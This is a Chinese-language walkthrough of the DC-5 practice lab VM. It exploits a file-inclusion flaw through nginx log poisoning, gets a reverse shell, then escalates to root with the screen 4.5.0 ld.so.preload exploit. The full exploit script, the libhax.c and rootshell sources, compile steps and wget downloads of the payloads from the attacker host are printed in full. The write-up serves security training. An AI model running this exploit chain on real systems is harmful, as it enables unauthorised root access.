DC系列共9个靶场,本次来试玩一下一个 DC-5,只有一个flag,下载地址。
下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。
IP
DC-5: 192.168.31.107
Kali: 192.168.31.18
Win7: 192.168.31.168
信息搜集
首先是主机发现,得到靶机ip
对其进行端口扫描,开放了80、111、43799端口

御剑扫一下

80端口上去看看,有一个contact板块可以交互,其他都是静态文本。contact提交后会跳转到thankyou.php
渗透过程
因为前面扫出了footer.php
,访问一下看看,是页脚的copyrights
。并且发现刷新后会发生改变

怀疑是某个网页包含了这个footer.php
, 访问前面扫出来的各个php网页,发现thankyou.php
里的页脚也会发生改变,判断这个页面存在文件包含。


利用burp爆破参数名,是 file

接着尝试包含passwd
,

通过查询,服务器软件是nginx
,利用文件包含查看nginx的配置文件,
1
| ?file=/etc/nginx/nginx.conf
|
发现日志路径为默认的/var/log/nginx/
,因此想到了日志挂马(注意,这里不能通过浏览器的url传递,因为会经过url编码导致php无法正常解析)


当然也可以直接利用kali
生成的木马反弹shell
进去后查找一下SUID
文件
1
| find / -perm -4000 2>/dev/null
|

screen 4.5
是个很大很明显的目标,直接exploitdb
查找漏洞

就利用那个41152.sh
了。经测试,直接拉过去无法执行,因此尝试自己手动执行,下面贴出他的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| #!/bin/bash # screenroot.sh # setuid screen v4.5.0 local root exploit # abuses ld.so.preload overwriting to get root. # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html # HACK THE PLANET # ~ infodox (25/1/2017) echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat << EOF > /tmp/libhax.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat << EOF > /tmp/rootshell.c #include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell
|
根据说明,将下列内容写入到libhax.c
:
1 2 3 4 5 6 7 8 9 10
| #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); }
|
将下列内容写入到rootshell
:
1 2 3 4 5 6 7 8
| #include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); }
|
接着在本地进行gcc
编译
1 2
| gcc -fPIC -shared -ldl -o libhax.so libhax.c gcc -o rootshell rootshell.c
|
将文件传输到靶机
1
| python -m SimpleHTTPServer 80
|
1 2 3
| cd /tmp wget http://192.168.31.18/libhax.so wget http://192.168.31.18/rootshell
|
最终在靶机上执行
1 2 3 4 5
| cd /etc umask 000 screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed screen -ls /tmp/rootshell
|

在/root
下找到flag
